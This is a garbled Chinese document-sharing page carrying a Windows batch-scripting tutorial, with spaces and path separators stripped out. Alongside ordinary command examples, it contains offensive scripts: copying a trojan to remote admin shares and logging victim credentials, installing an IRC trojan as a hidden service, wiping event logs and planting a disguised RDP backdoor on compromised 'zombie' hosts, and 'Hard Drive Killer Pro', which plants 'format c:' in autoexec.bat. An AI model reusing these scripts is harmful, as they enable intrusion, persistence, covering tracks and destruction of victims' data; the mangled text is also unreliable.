批处理组合命令Word格式.docx
- 文档编号:21628509
- 上传时间:2023-01-31
- 格式:DOCX
- 页数:13
- 大小:22.16KB
批处理组合命令Word格式.docx
《批处理组合命令Word格式.docx》由会员分享,可在线阅读,更多相关《批处理组合命令Word格式.docx(13页珍藏版)》请在冰豆网上搜索。
5114sometips.gif2.&
第三条命令.用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
Sample:
Ex4rchThesystemcannotfindthepathspecified.C:
Ex4rch&
VolumeindriveChasnolabel.VolumeSerialNumberis0078-59FBDirectoryofc:
55.2002-05-1423:
5514sometips.gif1File(s)14bytes2Dir(s)768,671,744bytesfreeThesystemcannotfindthepathspecified.在做备份的时候可能会用到这种命令会比较简单,如:
dirfile&
:
/192.168.0.1/database/backup.mdb&
copyfile&
/192.168.0.1/database/backup.mdbE:
backup如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。
这种用法可以替换IFexist了.3.Usage:
第一条命令第二条命令第三条命令.用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
Ex4rchdirsometips.gifdelsometips.gifVolumeindriveChasnolabel.VolumeSerialNumberis0078-59FBDirectoryofC:
5514sometips.gif1File(s)14bytes0Dir(s)768,696,320bytesfree组合命令使用的例子:
sample:
copytrojan.exe%1admin$system32&
ifnoterrorlevel1echoIP%1USER%2PASS%3victim.txt四、管道命令的使用1.命令Usage:
第一条命令第二条命令第三条命令.将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
time/tD:
IP.lognetstat-n-ptcpfind:
3389D:
IP.logstartExplorer看出来了么?
用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。
2.、输出重定向命令将一条命令或某个程序输出结果的重定向到特定文件中,与的区别在于,会清除调原有文件中的内容后写入指定文件,而只会追加内容到指定文件中,而不会改动其中的内容。
sample1:
echohelloworldc:
hello.txt(stupidexample?
)sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD-转换目录到system32-dir*.exeexeback.txt&
dir*.dlldllback.txt,这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD-fcexeback.txtexeback1.txtdiff.txt&
fcdllback.txtdllback1.txtdiff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。
没有是最好,如果有的话也不要直接DEL掉,先用regsvr32/utrojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。
3.&
、&
将一个句柄的输出写入到另一个句柄的输入中。
Sample.regechoHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunSample.regechoInvader=Ex4rchSample.regechodoor=5C:
WINNTsystem32door.exeSample.regechoAutodos=dword:
02Sample.regsamlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)startwindrv32.exeattrib+h+rwindrv32.exeechoHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunpatch.dllechowindsnx=-patch.dllsc.execreateWindriversrvtype=kernelstart=autodisplayname=WindowsDriverbinpath=c:
winntsystem32windrv32.exeregedit/spatch.dlldeletepatch.dllREM删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动REM这样不是更安全.六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理-cutherethensaveas.bator.cmdfile-echopreparingtodeleteallthedefaultshares.whenreadypresanykey.pauseechooff:
Remcheckparametersifnullshowusage.if%1=goto:
Usage:
Remcodestart.echo.echo-echo.echoNowdeletingallthedefaultshare%1$/deletenetshare%2$/deletenetshare%3$/deletenetshare%4$/deletenetshare%5$/deletenetshare%6$/deletenetshare%7$/deletenetshare%8$/deletenetshare%9$/deletenetstopServernetstartServerecho.echoAlltheshareshavebeendeleteedecho.echo-echo.echoNowmodifytheregistrytochangethesystemdefaultproperties.echo.echoNowcreatingtheregistryfileechoWindowsRegistryEditorVersion5.00c:
delshare.regechoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparametersc:
delshare.regechoAutoShareWks=dword:
00000000c:
delshare.regechoAutoShareServer=dword:
delshare.regechoNowingusingtheregistryfiletochangthesystemdefaultproperties.regedit/sc:
delshare.regechoDeletingthetemprotarilyfiles.delc:
delshare.reggoto:
END:
Usageecho.echo-echo.echoAexampleforbatchfileechoUsebatchfiletochangethesysytemshareproperties.echo.echoAuthor:
Ex4rchechoMail:
EQQ:
1672602echo.echoError:
Notenoughparametersecho.echoPleaseenterthesharediskyouwannadeleteecho.echoForinstance,todeletethedefaultshares:
echodelsharecdeipcadminprintecho.echoIfthedisklableisnotasC:
D:
E:
,Pleasechangityouself.echo.echoexample:
echoIflocakdisklableareC:
X:
Y:
Z:
,youshouldchangthecommandinto:
echodelsharecdexyzipcadminprintecho.echo*youcandeleteninesharesonceinauseing*echo.echo-goto:
EOF:
ENDecho.echo-echo.echoOK,delshare.bathasdeletedalltheshareyouassigned.echo.Anyquestions,feelfreetomailtoE.echoecho.echo-echo.:
EOFechoendofthebatchfile-cutherethensaveas.bator.cmdfile-2.全面加固系统(给肉鸡打补丁)的批处理文件-cutherethensaveas.bator.cmdfile-echoWindowsRegistryEditorVersion5.00patch.dllechoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameterspatch.dllechoAutoShareServer=dword:
00000000patch.dllechoAutoShareWks=dword:
00000000patch.dllREM禁止共享echoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsapatch.dllechorestrictanonymous=dword:
00000001patch.dllREM禁止匿名登录echoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameterspatch.dllechoSMBDeviceEnabled=dword:
00000000patch.dllREM禁止及文件访问和打印共享echoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesREMoteRegistrypatch.dllechoStart=dword:
00000004patch.dllechoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedulepatch.dllechoStart=dword:
00000004patch.dllechoHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWinlogonpatch.dllechoShutdownWithoutLogon=0patch.dllREM禁止登录前关机echoDontDisplayLastUserName=1patch.dllREM禁止显示前一个登录用户名称regedit/spatch.dll-cutherethensaveas.bator.cmdfile-下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnalservice留跳后路。
regedit/spatch.dllnetstopw3svcnetstopeventlogdelc:
winntsystem32logfilesw3svc1*.*/f/qdelc:
winntsystem32logfilesw3svc2*.*/f/qdelc:
winntsystem32config*.event/f/qdelc:
winntsystem32dtclog*.*/f/qdelc:
winnt*.txt/f/qdelc:
winnt*.log/f/qnetstartw3svcnetstarteventlogrem删除日志netstoplanmanserver/ynetstopSchedule/ynetstopRemoteRegistry/ydelpatch.dllechoTheserverhasbeenpatched,Havefun.delpatch.batREM禁止一些危险的服务。
echoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerWinStationsRDP-Tcppatch.dllechoPortNumber=dword:
00002010patch.dllechoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerWdsrdpwdTdstcppatch.dllechoPortNumber=dword:
00002012patch.dllechoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDDpatch.dllechoStart=dword:
00000002patch.dllechoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuServicepatch.dllechoStart=dword:
00000002patch.dllechoErrorControl=dword:
00000001patch.dllechoImagePath=hex
(2):
25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,patch.dllecho74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,patch.dllecho00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00patch.dllechoObjectName=LocalSystempatch.dllechoType=dword:
00000010patch.dllechoDescription=Keeprecordoftheprogramandwindowsmessage。
patch.dllechoDisplayName=MicrosoftEventLogpatch.dllechoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservicepatch.dllechoStart=dword:
00000004patch.dllcopyc:
winntsystem32termsrv.exec:
winntsystem32eventlog.exeREM修改3389连接,端口为8210(十六进制为00002012),名称为MicrosoftEventLog,留条后路3.HardDriveKillerProVersion4.0(玩批处理到这个水平真的不容易了。
)-cutherethensaveas.bator.cmdfile-echooffremThisprogramisdedecatedtoaveryspecialpersonthatdoesnotwanttobenamed.:
startclsechoPLEASEWAITWHILEPROGRAMLOADS.callattrib-r-hc:
autoexec.batnulechoechooffc:
autoexec.batechocallformatc:
/q/u/autoSamplenulc:
autoexec.batcallattrib+r+hc:
autoexec.batnulremDrivecheckingandassigningthevaliddrivestothedrivevariable.setdrive=setalldrive=cdefghijklmnopqrstuvwxyzremcodeinsertionforDriveCheckingtakesplacehere.remdrivechk.batisthefilenameundertherootdirectory.remAsfarasthedrivedetectionanddrivevariablesettings,dontworryabouthowitremworks,itsd*amntocomplicatedfortheaverageoreventheexpertbatchprogrammer.remExceptforTomLavedas.echoechooffdrivechk.batechoprompt%comspec%/f/cvol%1:
$bfindVolnult.bat%comspec%/e:
2048/ct.batdrivechk.batdelt.batechoiferrorlevel1gotoenddcdrivechk.batclsechoPLEASEWAITWHILEPROGRAMLOADS.remWhenerrorlevelis1,thentheaboveisnottrue,if0,thenitstrue.remOppositeofbinaryrules.If0,itwillelapstothenextcommand.echoprompt%comspec%/f/cdir%1:
./ad/w/-p$bfindbytesnult.bat%comspec%/e:
2048/ct.batdrivechk.batdelt.batechoiferrorlevel1gotoenddcdrivechk.batclsechoPLEASEWAITWHILEPROGRAMLOADS.remiferrorlevelis1,thenthedrivespecifiedisaremovablemediadrive-notready.remiferrorlevelis0,thenitwillelapstothenextcommand.echopromptdir%1:
./ad/w/-p$bfind0bytesfreenult.bat%comspec%/e:
2048/ct.batdrivechk.batdelt.batechoiferrorlevel1setdrive=%drive%1drivechk.batclsechoPLEASEWAITWHILEPROGRAMLOADS.remifitserrorlevel1,thenthespecifieddriveisahardorfloppydrive.remifitsnoterrorlevel1,thenthespecifieddriveisaCD-ROMdrive.echo:
enddcdrivechk.batremDrivecheckinginsertionendshere.enddcstandsforenddDRIVEcHECKING.remNowwewillusetheprogramdrivechk.battoattainvaliddriveinformation.:
Sampledrvfor%ain(%alldrive%)docalldrivechk.bat%anuldeldrivechk.batnulif%drive.=.setdr
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 批处理 组合 命令
![提示](https://static.bdocx.com/images/bang_tan.gif)